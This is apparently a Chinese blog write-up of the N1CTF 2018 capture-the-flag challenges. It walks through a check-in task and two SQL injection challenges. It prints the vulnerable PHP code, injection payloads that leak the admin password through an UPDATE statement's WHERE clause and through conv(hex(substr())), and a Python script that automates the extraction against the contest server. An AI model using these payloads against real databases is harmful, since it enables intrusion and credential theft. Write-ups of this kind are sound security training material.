2018-N1ctf

Mar 11, 2018 09:54 · 151 words · 1 minute read ctf

.

checkin

题目给了#n1ctf2018的提示,直接提交不行,拿去谷歌搜了一下,发现在首页有IRC频道,然后拿去登录,之后看到一串base64,拿去解密得到flag。

N1CTF{Welc0me_to_N1CTF_2018}

77777

提示

This is my page.

U can update my points in Profile.

And the flag is `admin's password`:)

在profile处有一个显示My Points的地方。 给的源码

<?php

function update_point($p,$points){
	global $link;
	$q = sprintf("update users set points=%d%s",$p,waf($points));
	if (!$query = mysqli_query($link,$q)) {
		return TRUE;
	}
}
if (!update_point($_POST['flag'],$_POST['hi'])) {
	echo "sorry";
}
?>

大致思路

注入点在\$_POST[‘hi’],在这里构造where语句来判断update语句有没有执行成功。根据My Points的值有没有更新为\$_POST[‘flag’]的值来判断是否执行成功。 测试后发现information_schema,database()都过滤了,剩下有where select from没过滤,根据提示猜测password存在于users表。

在构造的时候出了一点问题,就是update后的子查询不能是update的表。官方报错为

update yang set id=111 where (select pass from yang)>'a'
You can't specify target table 'yang' for update in FROM clause

谷歌到了一篇文章来解决这个问题 http://www.cnblogs.com/chy1000/archive/2010/03/02/1676282.html 最终的payload

flag=333331&hi=  where (select password from(select password from users)t) >  'a'

然后去写脚本,写到最后也没跑出来,因为题目没有设置seesion的原因。大家同时更新一个表,所以之间相互影响很严重,最后手工一点点测试了出来(真的有点菜)。 flag

注出的密码
he3l3locat233

77777 - 2

paylaod

%2bconv(hex(substr((select password),1,4)),16,10)

题目还过滤了2,3,4,5这几个数字。所以只能一个一个加上去了

根据这个姿势写的脚本

import requests
import binascii
import re
url = 'http://47.52.137.90:20000/index.php'
r = requests.session()
a = '+1+1+1'
sub = '1'
flag = ''
for x in range(1,20):
	payload = {'flag':'0','hi':'+conv(hex(substr((select pw ),%s,1+1+1)),16,10)'%(sub)}
	print(payload)
	r1 =r.post(url,data=payload)
	pw_10 = re.findall('<grey>My Points</grey> |(\d*?)<br/',r1.text)
	str1 = binascii.unhexlify(hex(int(pw_10[1]))[2:]).decode('utf-8')//binascii.unhexlify16进制转字符
	flag+=str1
	print(flag)
	sub+=a


跑出来的结果

hahah777a7aha77777aaaa
tweet Share